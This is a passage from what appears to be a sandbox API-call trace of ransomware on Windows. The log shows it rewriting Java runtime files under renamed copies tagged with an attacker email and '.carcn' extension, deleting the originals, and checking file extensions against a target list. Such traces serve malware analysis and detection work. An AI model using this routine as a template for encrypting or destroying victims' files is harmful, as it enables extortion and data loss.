lpNumberOfBytesWritten=0x34ffca8*=0xc0108, lpOverlapped=0x0) returned 1 [0309.410] SetEndOfFile (hFile=0x390) returned 1 [0309.410] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x40000) returned 0x4504008 [0309.414] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffc74 | out: lpNewFilePointer=0x0) returned 1 [0309.414] WriteFile (in: hFile=0x390, lpBuffer=0x4504008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34ffc80, lpOverlapped=0x0 | out: lpBuffer=0x4504008*, lpNumberOfBytesWritten=0x34ffc80*=0x40000, lpOverlapped=0x0) returned 1 [0309.416] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xb36cf, lpNewFilePointer=0x0, dwMoveMethod=0x34ffc74 | out: lpNewFilePointer=0x0) returned 1 [0309.416] WriteFile (in: hFile=0x390, lpBuffer=0x4504008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34ffc80, lpOverlapped=0x0 | out: lpBuffer=0x4504008*, lpNumberOfBytesWritten=0x34ffc80*=0x40000, lpOverlapped=0x0) returned 1 [0309.417] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x1da46d, lpNewFilePointer=0x0, dwMoveMethod=0x34ffc74 | out: lpNewFilePointer=0x0) returned 1 [0309.418] WriteFile (in: hFile=0x390, lpBuffer=0x4504008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x34ffc80, lpOverlapped=0x0 | out: lpBuffer=0x4504008*, lpNumberOfBytesWritten=0x34ffc80*=0x40000, lpOverlapped=0x0) returned 1 [0309.419] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x4504008 | out: hHeap=0x700000) returned 1 [0309.420] CloseHandle (hObject=0x390) returned 1 [0309.420] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0309.421] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0309.421] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0309.421] lstrlenW (lpString=".doc") returned 4 [0309.421] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0309.421] lstrlenW (lpString=".docx") returned 5 [0309.421] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1 [0309.421] lstrlenW (lpString=".pdf") returned 4 [0309.421] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0309.421] lstrlenW (lpString=".xls") returned 4 [0309.421] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0309.421] lstrlenW (lpString=".xlsx") returned 5 [0309.421] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1 [0309.421] lstrlenW (lpString=".ppt") returned 4 [0309.421] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0309.421] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0309.421] lstrlenW (lpString=".zip") returned 4 [0309.421] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0309.421] lstrlenW (lpString=".rar") returned 4 [0309.421] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0309.421] lstrlenW (lpString=".bz2") returned 4 [0309.421] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0309.421] lstrlenW (lpString=".7z") returned 3 [0309.421] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0309.421] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0309.421] lstrlenW (lpString=".dbf") returned 4 [0309.421] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0309.421] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0309.421] lstrlenW (lpString=".1cd") returned 4 [0309.421] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0309.421] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0309.421] lstrlenW (lpString=".jpg") returned 4 [0309.421] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0309.422] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0309.422] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0309.422] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0309.422] GetLastError () returned 0x0 [0309.422] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0xa4c9, lpOverlapped=0x0) returned 1 [0309.467] WriteFile (in: hFile=0x374, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xa4d0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xa4d0, lpOverlapped=0x0) returned 1 [0309.484] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0309.484] WriteFile (in: hFile=0x374, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xe6, lpOverlapped=0x0) returned 1 [0309.484] SetEndOfFile (hFile=0x374) returned 1 [0309.484] CloseHandle (hObject=0x374) returned 1 [0309.484] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0309.485] SetEndOfFile (hFile=0x390) returned 1 [0309.485] CloseHandle (hObject=0x390) returned 1 [0309.486] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0309.486] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar")) returned 1 [0309.486] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0309.486] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0309.486] lstrlenW (lpString=".doc") returned 4 [0309.486] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0309.486] lstrlenW (lpString=".docx") returned 5 [0309.486] lstrcmpiW (lpString1=".docx", lpString2="c.jar") returned -1 [0309.487] lstrlenW (lpString=".pdf") returned 4 [0309.487] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0309.487] lstrlenW (lpString=".xls") returned 4 [0309.487] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0309.487] lstrlenW (lpString=".xlsx") returned 5 [0309.487] lstrcmpiW (lpString1=".xlsx", lpString2="c.jar") returned -1 [0309.487] lstrlenW (lpString=".ppt") returned 4 [0309.487] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0309.487] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0309.487] lstrlenW (lpString=".zip") returned 4 [0309.487] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0309.487] lstrlenW (lpString=".rar") returned 4 [0309.487] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0309.487] lstrlenW (lpString=".bz2") returned 4 [0309.487] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0309.487] lstrlenW (lpString=".7z") returned 3 [0309.487] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0309.487] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0309.487] lstrlenW (lpString=".dbf") returned 4 [0309.487] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0309.487] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0309.487] lstrlenW (lpString=".1cd") returned 4 [0309.487] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0309.487] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0309.487] lstrlenW (lpString=".jpg") returned 4 [0309.487] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0309.487] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0309.487] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0309.488] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0309.488] GetLastError () returned 0x0 [0309.488] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x44661, lpOverlapped=0x0) returned 1 [0309.493] WriteFile (in: hFile=0x374, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x44670, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x44670, lpOverlapped=0x0) returned 1 [0309.498] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0309.498] WriteFile (in: hFile=0x374, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xfa, lpOverlapped=0x0) returned 1 [0309.498] SetEndOfFile (hFile=0x374) returned 1 [0309.499] CloseHandle (hObject=0x374) returned 1 [0309.499] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0309.499] SetEndOfFile (hFile=0x390) returned 1 [0309.501] CloseHandle (hObject=0x390) returned 1 [0309.502] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0309.502] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar")) returned 1 [0309.503] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0309.503] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0309.503] lstrlenW (lpString=".doc") returned 4 [0309.503] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0309.503] lstrlenW (lpString=".docx") returned 5 [0309.503] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1 [0309.503] lstrlenW (lpString=".pdf") returned 4 [0309.503] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0309.503] lstrlenW (lpString=".xls") returned 4 [0309.503] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0309.503] lstrlenW (lpString=".xlsx") returned 5 [0309.503] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1 [0309.503] lstrlenW (lpString=".ppt") returned 4 [0309.503] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0309.503] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0309.503] lstrlenW (lpString=".zip") returned 4 [0309.503] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0309.503] lstrlenW (lpString=".rar") returned 4 [0309.503] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0309.503] lstrlenW (lpString=".bz2") returned 4 [0309.503] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0309.503] lstrlenW (lpString=".7z") returned 3 [0309.503] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0309.503] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0309.503] lstrlenW (lpString=".dbf") returned 4 [0309.503] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0309.503] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0309.503] lstrlenW (lpString=".1cd") returned 4 [0309.503] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0309.503] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62 [0309.503] lstrlenW (lpString=".jpg") returned 4 [0309.504] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0309.504] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0309.504] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0309.504] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0309.709] GetLastError () returned 0x0 [0309.709] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x7fbb, lpOverlapped=0x0) returned 1 [0309.710] WriteFile (in: hFile=0x33c, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x7fc0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x7fc0, lpOverlapped=0x0) returned 1 [0309.713] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0309.713] WriteFile (in: hFile=0x33c, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xee, lpOverlapped=0x0) returned 1 [0309.713] SetEndOfFile (hFile=0x33c) returned 1 [0309.713] CloseHandle (hObject=0x33c) returned 1 [0309.713] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0309.713] SetEndOfFile (hFile=0x390) returned 1 [0309.714] CloseHandle (hObject=0x390) returned 1 [0309.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0309.714] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar")) returned 1 [0309.715] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0309.715] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0309.715] lstrlenW (lpString=".doc") returned 4 [0309.715] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0309.715] lstrlenW (lpString=".docx") returned 5 [0309.715] lstrcmpiW (lpString1=".docx", lpString2="i.jar") returned -1 [0309.715] lstrlenW (lpString=".pdf") returned 4 [0309.715] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0309.715] lstrlenW (lpString=".xls") returned 4 [0309.715] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0309.715] lstrlenW (lpString=".xlsx") returned 5 [0309.715] lstrcmpiW (lpString1=".xlsx", lpString2="i.jar") returned -1 [0309.715] lstrlenW (lpString=".ppt") returned 4 [0309.715] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0309.715] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0309.715] lstrlenW (lpString=".zip") returned 4 [0309.715] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0309.715] lstrlenW (lpString=".rar") returned 4 [0309.715] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0309.715] lstrlenW (lpString=".bz2") returned 4 [0309.715] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0309.715] lstrlenW (lpString=".7z") returned 3 [0309.715] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0309.716] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0309.716] lstrlenW (lpString=".dbf") returned 4 [0309.716] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0309.716] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0309.716] lstrlenW (lpString=".1cd") returned 4 [0309.716] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0309.716] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0309.716] lstrlenW (lpString=".jpg") returned 4 [0309.716] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0309.716] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0309.716] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0309.716] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0309.717] GetLastError () returned 0x0 [0309.717] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x12574, lpOverlapped=0x0) returned 1 [0309.718] WriteFile (in: hFile=0x33c, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x12580, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x12580, lpOverlapped=0x0) returned 1 [0309.723] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0309.723] WriteFile (in: hFile=0x33c, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x108, lpOverlapped=0x0) returned 1 [0309.723] SetEndOfFile (hFile=0x33c) returned 1 [0309.723] CloseHandle (hObject=0x33c) returned 1 [0309.723] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0309.723] SetEndOfFile (hFile=0x390) returned 1 [0309.724] CloseHandle (hObject=0x390) returned 1 [0309.724] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0309.725] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf")) returned 1 [0309.725] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0309.725] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0309.725] lstrlenW (lpString=".doc") returned 4 [0309.725] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0309.725] lstrlenW (lpString=".docx") returned 5 [0309.725] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1 [0309.726] lstrlenW (lpString=".pdf") returned 4 [0309.726] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0309.726] lstrlenW (lpString=".xls") returned 4 [0309.726] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0309.726] lstrlenW (lpString=".xlsx") returned 5 [0309.726] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1 [0309.726] lstrlenW (lpString=".ppt") returned 4 [0309.726] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0309.726] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0309.726] lstrlenW (lpString=".zip") returned 4 [0309.726] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0309.726] lstrlenW (lpString=".rar") returned 4 [0309.726] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0309.726] lstrlenW (lpString=".bz2") returned 4 [0309.726] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0309.726] lstrlenW (lpString=".7z") returned 3 [0309.726] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0309.726] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0309.726] lstrlenW (lpString=".dbf") returned 4 [0309.726] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0309.726] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0309.726] lstrlenW (lpString=".1cd") returned 4 [0309.726] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0309.726] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0309.726] lstrlenW (lpString=".jpg") returned 4 [0309.726] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0309.727] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0309.727] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0309.727] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0309.727] GetLastError () returned 0x0 [0309.727] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x13bd8, lpOverlapped=0x0) returned 1 [0309.729] WriteFile (in: hFile=0x33c, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x13be0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x13be0, lpOverlapped=0x0) returned 1 [0309.731] ReadFile (in: hFile=0x390, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0309.731] WriteFile (in: hFile=0x33c, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x100, lpOverlapped=0x0) returned 1 [0309.731] SetEndOfFile (hFile=0x33c) returned 1 [0309.732] CloseHandle (hObject=0x33c) returned 1 [0309.732] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0309.732] SetEndOfFile (hFile=0x390) returned 1 [0309.733] CloseHandle (hObject=0x390) returned 1 [0309.733] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0309.733] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf")) returned 1 [0309.734] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0309.734] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67 [0309.734] lstrlenW (lpString=".doc") returned 4 [0309.734] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0309.734] lstrlenW (lpString=".docx") returned 5 